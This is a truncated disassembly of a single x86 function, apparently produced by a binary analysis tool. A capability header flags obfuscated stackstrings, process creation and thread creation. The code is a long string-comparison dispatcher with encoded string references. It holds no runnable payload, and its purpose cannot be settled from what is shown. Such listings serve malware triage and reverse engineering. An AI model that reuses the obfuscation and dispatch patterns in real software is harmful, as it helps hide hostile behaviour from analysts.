Function at 0x51e240
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x577d74
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x288
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x48], 0
push edi
mov edx, 0x5b5778
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x34], esi
call fcn.00441540
mov edi, dword [ebx + 8]
mov edx, eax
test edi, edi
je 0x51e2d3
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e2a3
sub ecx, dword [ebp - 0x24]
je 0x51e2d3
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e2d3
cmp dword [edx + 0x14], 0x10
jb 0x51e2be
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e2da
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e30e
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e304
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521ba9
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e326
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 1
jmp 0x521b91
mov edx, 0x5b5808
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51e371
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e341
sub ecx, dword [ebp - 0x24]
je 0x51e371
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e371
cmp dword [edx + 0x14], 0x10
jb 0x51e35c
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e378
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e3ac
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e3a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bae
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51e9b1
mov edx, 0x5b57f0
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51e401
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e3d1
sub ecx, dword [ebp - 0x24]
je 0x51e401
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e401
cmp dword [edx + 0x14], 0x10
jb 0x51e3ec
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e408
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e43c
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e432
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bb3
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e4f0
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.00429fb0
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a8a0
mov ecx, esi
call fcn.00441670
add esp, 0x18
mov ecx, edi
call fcn.0045b0f0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x521b91
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51e4e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521be5
push ecx
push edx
call fcn.00545311
add esp, 8
jmp 0x521b91
mov edx, 0x5b5820
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51e540
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e510
sub ecx, dword [ebp - 0x24]
je 0x51e540
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e540
cmp dword [edx + 0x14], 0x10
jb 0x51e52b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e547
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e57b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e571
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bb8
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e62f
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.00429fb0
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a8a0
mov ecx, esi
call fcn.00441670
add esp, 0x18
mov ecx, edi
call fcn.0045b0f0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x521b91
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51e620
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521be5
push ecx
push edx
call fcn.00545311
add esp, 8
jmp 0x521b91
mov edx, 0x5b5838
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51e680
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e650
sub ecx, dword [ebp - 0x24]
je 0x51e680
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e680
cmp dword [edx + 0x14], 0x10
jb 0x51e66b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e687
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e6bb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e6b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bbd
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e6d0
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041af80
jmp 0x521b91
mov edx, 0x5b5970
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51e720
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e6f0
sub ecx, dword [ebp - 0x24]
je 0x51e720
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e720
cmp dword [edx + 0x14], 0x10
jb 0x51e70b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e727
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e75b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e751
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bc2
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51ecc5
mov edx, 0x5b5988
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51e7b0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e780
sub ecx, dword [ebp - 0x24]
je 0x51e7b0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e7b0
cmp dword [edx + 0x14], 0x10
jb 0x51e79b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e7b7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e7eb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e7e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bc7
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51ed61
mov edx, 0x5b5a60
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51e840
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e810
sub ecx, dword [ebp - 0x24]
je 0x51e840
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e840
cmp dword [edx + 0x14], 0x10
jb 0x51e82b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e847
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e87b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e871
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bcc
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51ee01
mov edx, 0x5b5790
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51e8d0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e8a0
sub ecx, dword [ebp - 0x24]
je 0x51e8d0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e8d0
cmp dword [edx + 0x14], 0x10
jb 0x51e8bb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e8d7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e90b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e901
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bd1
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e91e
mov ecx, dword [esi + 0xc]
call fcn.0041b950
jmp 0x521b91
mov edx, 0x5b5808
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51e970
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e940
sub ecx, dword [ebp - 0x24]
je 0x51e970
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e970
cmp dword [edx + 0x14], 0x10
jb 0x51e95b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e977
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e9ab
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e9a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bd6
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e9c0
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041af80
jmp 0x521b91
mov edx, 0x5b57f0
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51ea10
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e9e0
sub ecx, dword [ebp - 0x24]
je 0x51ea10
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ea10
cmp dword [edx + 0x14], 0x10
jb 0x51e9fb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ea17
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ea4b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ea41
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bdb
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51eaff
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.00429fb0
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a8a0
mov ecx, esi
call fcn.00441670
add esp, 0x18
mov ecx, edi
call fcn.0045b0f0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x521b91
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51eaf0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521be5
push ecx
push edx
call fcn.00545311
add esp, 8
jmp 0x521b91
mov edx, 0x5b5820
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51eb50
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51eb20
sub ecx, dword [ebp - 0x24]
je 0x51eb50
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51eb50
cmp dword [edx + 0x14], 0x10
jb 0x51eb3b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51eb57
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51eb8b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51eb81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521be0
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ec39
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.00429fb0
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a8a0
mov ecx, esi
call fcn.00441670
add esp, 0x18
mov ecx, edi
call fcn.0045b0f0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x521b91
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51eaf0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521be5
jmp 0x51eaf0
mov edx, 0x5b5970
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51ec84
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ec54
sub ecx, dword [ebp - 0x24]
je 0x51ec84
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ec84
cmp dword [edx + 0x14], 0x10
jb 0x51ec6f
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ec8b
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ecbf
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ecb5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bea
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ecd2
mov ecx, dword [esi + 0xc]
call fcn.00406410
jmp 0x521b91
mov edx, 0x5b5988
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51ed20
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ecf0
sub ecx, dword [ebp - 0x24]
je 0x51ed20
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ed20
cmp dword [edx + 0x14], 0x10
jb 0x51ed0b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ed27
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ed5b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ed51
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bef
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ed6e
mov ecx, dword [esi + 0xc]
call fcn.004066f0
jmp 0x521b91
mov edx, 0x5b5a60
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51edc0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ed90
sub ecx, dword [ebp - 0x24]
je 0x51edc0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51edc0
cmp dword [edx + 0x14], 0x10
jb 0x51edab
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51edc7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51edfb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51edf1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bf4
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ee0e
mov ecx, dword [esi + 0xc]
call fcn.0041bd90
jmp 0x521b91
mov edx, 0x5b5850
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51ee60
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ee30
sub ecx, dword [ebp - 0x24]
je 0x51ee60
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ee60
cmp dword [edx + 0x14], 0x10
jb 0x51ee4b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ee67
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ee9b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ee91
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bf9
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51eeb0
mov ecx, dword [esi + 0xc]
push 1
call fcn.004074d0
jmp 0x521b91
mov edx, 0x5b5868
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51ef00
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51eed0
sub ecx, dword [ebp - 0x24]
je 0x51ef00
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ef00
cmp dword [edx + 0x14], 0x10
jb 0x51eeeb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ef07
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ef3b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ef31
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521bfe
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ef50
mov ecx, dword [esi + 0xc]
push 0
call fcn.004074d0
jmp 0x521b91
mov edx, 0x5b5880
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51ef9a
mov ecx, edi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ef68
sub ecx, esi
je 0x51ef9a
mov esi, dword [edx + 0x10]
test esi, esi
je 0x51ef9a
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x64], esi
jb 0x51ef85
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51efa4
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51efd8
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51efce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c03
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f0cb
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f013
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.005220a0
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x24], eax
call fcn.0054a3ed
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x48]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0054bd1e
add esp, 0x14
cmp esi, dword [ebp - 0x48]
je 0x521c08
cmp dword [edi], 0x22
je 0x521c12
mov ecx, dword [ebp - 0x24]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.004077b0
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x521b91
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51eaf0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c1c
jmp 0x51eaf0
mov edx, 0x5b5730
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51f11b
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f0e6
sub ecx, dword [ebp - 0x24]
je 0x51f11b
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f11b
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x51f106
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556770
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f122
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f156
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f14c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c21
push ecx
push edx
call fcn.00545311
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f262
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f191
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.005220a0
add esp, 8
lea ecx, [ebp - 0x1a0]
call fcn.00431080
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00432260
lea ecx, [ebp - 0x1a0]
call fcn.00431000
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 8
cmovae ecx, dword [ebp - 0xe4]
call fcn.0045e1c0
lea ecx, [ebp - 0xe4]
call fcn.0042b0f0
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x521b91
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51eaf0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521c26
jmp 0x51eaf0
mov edx, 0x5b5748
lea ecx, [ebp - 0x60]
call fcn.00441540
mov edx, eax
test edi, edi
je 0x51f2b5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f280
sub ecx, dword [ebp - 0x24]
je 0x51f2b5
mov eax, dword [edx + 0x10]
test eax, eax
